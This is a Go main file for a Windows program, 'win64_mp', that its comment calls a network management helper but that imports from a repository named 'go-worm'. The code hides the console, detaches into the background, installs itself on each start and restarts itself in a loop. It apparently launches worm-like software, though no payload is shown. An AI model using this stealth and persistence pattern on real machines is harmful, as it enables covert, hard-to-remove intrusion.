// win64_mp is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
//	GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
//
// Runs headless by default. Use -foreground for a visible console (dev only).
// Use -background to spawn a detached copy and exit the launcher.
package main

import (
	"errors"
	"flag"
	"fmt"
	"strings"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/agent"
	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/install"
	"tea.chunkbyte.com/kato/go-worm/lib/instance"
)

var errAlreadyRunning = errors.New("agent already running")

func main() {
	background := flag.Bool("background", false, "spawn detached agent and exit")
	ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
	foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
	flag.Parse()

	if err := install.Ensure(); err != nil {
		die(err, *foreground)
	}

	if *ensure {
		if !*foreground {
			instance.HideConsole()
			_ = helpers.AttachLogFile()
		}
		if err := instance.EnsureRunning(); err != nil {
			die(err, *foreground)
		}
		return
	}

	if *background {
		if err := instance.Detach(); err != nil {
			die(err, *foreground)
		}
		return
	}

	if !*foreground {
		instance.HideConsole()
		_ = helpers.AttachLogFile()
	}

	for {
		err := runAgent()
		if err == nil {
			return
		}
		if errors.Is(err, errAlreadyRunning) {
			return
		}
		crashlog.RecordError(err)
		helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
		time.Sleep(config.RestartDelay)
	}
}

func runAgent() (err error) {
	defer func() {
		if r := recover(); r != nil {
			crashlog.RecordPanic(r)
			err = fmt.Errorf("panic: %v", r)
		}
	}()

	a, err := agent.New()
	if err != nil {
		if strings.Contains(err.Error(), "already running") {
			return errAlreadyRunning
		}
		return err
	}
	defer a.Close()

	if err := a.Serve(); err != nil {
		return err
	}
	return nil
}

func die(err error, foreground bool) {
	if !foreground {
		instance.HideConsole()
		_ = helpers.AttachLogFile()
	}
	crashlog.RecordError(err)
	helpers.Log.Fatal(err)
}